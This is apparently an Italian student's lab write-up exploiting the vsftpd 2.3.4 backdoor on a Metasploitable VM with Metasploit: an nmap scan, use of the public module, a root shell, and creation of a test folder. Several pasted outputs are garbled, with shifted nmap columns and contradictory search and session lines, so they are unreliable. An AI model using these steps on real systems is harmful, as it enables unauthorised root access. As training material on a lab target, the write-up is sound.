

## Metasploit

---

Nell'esercizio di oggi viene richiesto di completare una sessione di hacking sulla macchina metasploitable attaccando il servizio 'vsftpd' utilizzando il tool metasploit.

Una volta ottenuta la sessione sulla macchina Meta devo creare una cartella chiamata 'test\_metasploit' dentro la directory root.

Parto con il verificare la connettività tra le macchine con i comandi 'ping' e successivamente scansiono Metasploitable per cercare su che porta è attivo il servizio vsftpd (porta 21).

```
(raul@192)-[~]
$ nmap -sV 192.168.51.101
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-18 13:57 GMT
Nmap scan report for 192.168.51.101
Host is up (0.0019s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login?      Netkit rshd
514/tcp   open  shell        GNU Classpath grmiregistry
1099/tcp  open  java-rmi   Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  cproxy-ftp? MySQL 5.0.51a-3ubuntu5
3306/tcp  open  mysql       PostgreSQL DB 8.3.0 - 8.3.7
5432/tcp  open  postgresql  VNC (protocol 3.3)
5900/tcp  open  vnc         (access denied)
6000/tcp  open  X11         UnrealIRCd
6667/tcp  open  irc         Apache Tomcat/Coyote JSP engine 1.1
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
49153/tcp open  java-rmi   GNU Classpath grmiregistry
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSS: Unix, Linux; CPE: cpe:/o:linu
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 172.59 seconds
```

Dopo aver trovato il servizio attivo sulla porta attivo metasploit con il comando 'msfconsole' e cerco se ci sono riscontri con vsftpd, trovo un exploit.

```
[*] metasploit v6.4.97-dev
+ --=[ 2,570 exploits - 1,316 auxiliary - 1,683 payloads - 1,683 post-exploits ] [2 (RPC #100000)
+ --=[ 433 post - 49 encoders - 13 nops - 9 evasion - 16 bypasses ] [Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
+ --=[ 512/tcp open exec        netkit-rsh rexecd
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
msf > search vsftpd
Matching Modules
=====
#  Name
#  Disclosure Date Rank Check Description
-  ---
0  auxiliary/dos/ftp/vsftpd_232  2011-02-03  normal  Yes  VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03  excellent  No  VSFTPD v2.3.4 Backdoor Command Execution
49153/tcp open  java-rmi   GNU Classpath grmiregistry
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSS: Unix, Linux; CPE: cpe:/o:linu
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

## Raul Pastor

Uso l'exploit trovato e cerco le opzioni da configurare:

```
Metasploit Documentation: https://docs.metasploit.com/   Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
The Metasploit Framework is a Rapid7 Open Source Project   netkit-rsh rexecd

msf > search msftpd
[!] No results from search

msf > search vsftpd
[!] No results from search

Matching Modules
=====
#  Name                               Disclosure Date  Rank  Check  Description
-  ----
0  auxiliary/dos/ftp/vsftpd_232        2011-02-03    normal  RCE  Yes   VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03    excellent  No   RCE  VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
=====
Name      Current Setting  Required  Description
----      -----          ----- 
CHOST     no              The local client address
CPORT     192.168.51.101  The local client port [1-65535]
Proxies   no              3 packets  A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, sapni, http, socks4
RHOSTS   yes             The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT    21              yes          The target port (TCP)
```

Setto l'RHOST con l'indirizzo ip target, dopodiché inizio l'exploit, con il comando 'sessions' verifico che la sessione sia attiva ma in background, effettivamente lo è quindi mi ci connetto.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.51.101
RHOSTS => 192.168.51.101
msf exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
=====
#  Name                               Disclosure Date  Rank  Check  Description
-  ----
0  payload/cmd/unix/interact .       normal  No   Unix Command, Interact with Established Connection

msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.51.101:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.51.101:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) > set payload cmd/unix/interact
payload => cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.51.101:21 - The port used by the backdoor bind listener is already open
[*] 192.168.51.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:38545 -> 192.168.51.101:6200) at 2026-01-18 14:17:16 +0000
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions -l

Active sessions
=====
Id  Name  Type           Information  Connection
--  ---  ---           -----
1   shell cmd/unix      192.168.50.100:38545 -> 192.168.51.101:6200 (192.168.51.101)

msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 1
[*] Starting interaction with 1...
```

## Raul Pastor

Con mkdir creo una cartella all'interno della cartella root di meta chiamata ‘test\_metaspoit’:

```
mkdir test_metaspoit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metaspoit
tmp
usr
var
vmlinuz
```

Infine controllo se le modifiche sono avvenute sulla macchina target:

```
root@metasploitable:/# ls
bin    dev    initrd      lost+found    nohup.out    root    sys    var
boot   etc    initrd.img  media        opt         sbin    tmp    vmlinuz
cdrom  home   lib        mnt         proc        srv    usr
root@metasploitable:/# cd root
root@metasploitable:~/# ls
Desktop  reset_logs.sh  test_metaspoit  vnc.log
root@metasploitable:~/# _
```